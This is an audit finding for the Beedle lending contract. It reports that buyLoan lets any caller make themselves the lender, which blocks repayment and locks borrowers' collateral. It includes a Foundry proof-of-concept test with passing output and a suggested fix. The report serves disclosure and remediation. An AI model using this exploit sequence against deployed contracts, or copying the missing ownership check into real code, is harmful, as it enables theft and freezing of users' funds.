Summary
A malicious actor can cause a DOS on loans, preventing the borrower from being able to pay back their loan, thereby losing their collateral.
Vulnerability Details
If the lender decides to start an auction for a loan id, normally, in a refinance auction, the loan can be bought by anyone with a valid pool. But the issue is with the buyLoan function. There is no check to make sure the person calling the buyLoan function is the owner of the pool. This means a malicious actor can call this function with a valid poolId, and then get their address updated as the lender.
loans[loanId].lender = msg.sender;
https://github.com/Cyfrin/2023-07-beedle/blob/658e046bda8b010a5b82d2d85e824f3823602d27/src/Lender.sol#L518
Since in other to repay the loan, or, refinance the loan, the poolId gets calculated as:
bytes32 poolId = getPoolId(
loan.lender,
loan.loanToken,
loan.collateralToken
);
function getPoolId(
address lender,
address loanToken,
address collateralToken
) public pure returns (bytes32 poolId) {
poolId = keccak256(abi.encode(lender, loanToken, collateralToken));
}
The returning poolId would have 0 outstandingLoans, thereby always reverting on underflow error.
pools[poolId].outstandingLoans -= loan.debt;
Impact
Users can have their collaterals stuck forever
Tools Used
function test_buyLoanAttacker() public {
address attacker = address(4);
test_borrow();
vm.warp(block.timestamp + 364 days + 12 hours);
vm.startPrank(lender1);
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = 0;
lender.startAuction(loanIds);
vm.startPrank(lender2);
Pool memory p = Pool({
lender: lender2,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100*10**18,
poolBalance: 1000*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
bytes32 poolId = lender.setPool(p);
vm.stopPrank();
vm.startPrank(attacker);
vm.warp(block.timestamp + 12 hours);
lender.buyLoan(0, poolId);
assertEq(lender.getLoanDebt(0), 110*10**18);
(address newLender,,,,,,,,,) = lender.loans(0);
console.log("The new lender is: ", newLender);
assertEq(newLender, attacker);
vm.stopPrank();
}
jnrlouis@Jnrlouis:~/audits/2023-07-beedle$ forge test --match-test test_buyLoanAttacker -vv
[⠆] Compiling...
No files changed, compilation skipped
Running 1 test for test/Lender.t.sol:LenderTest
[PASS] test_buyLoanAttacker() (gas: 865254)
Logs:
The new lender is: 0x0000000000000000000000000000000000000004
Test result: ok. 1 passed; 0 failed; finished in 6.99ms
Recommendations
Consider adding a check in the buyLoan function to ensure that the msg.sender == pool.lender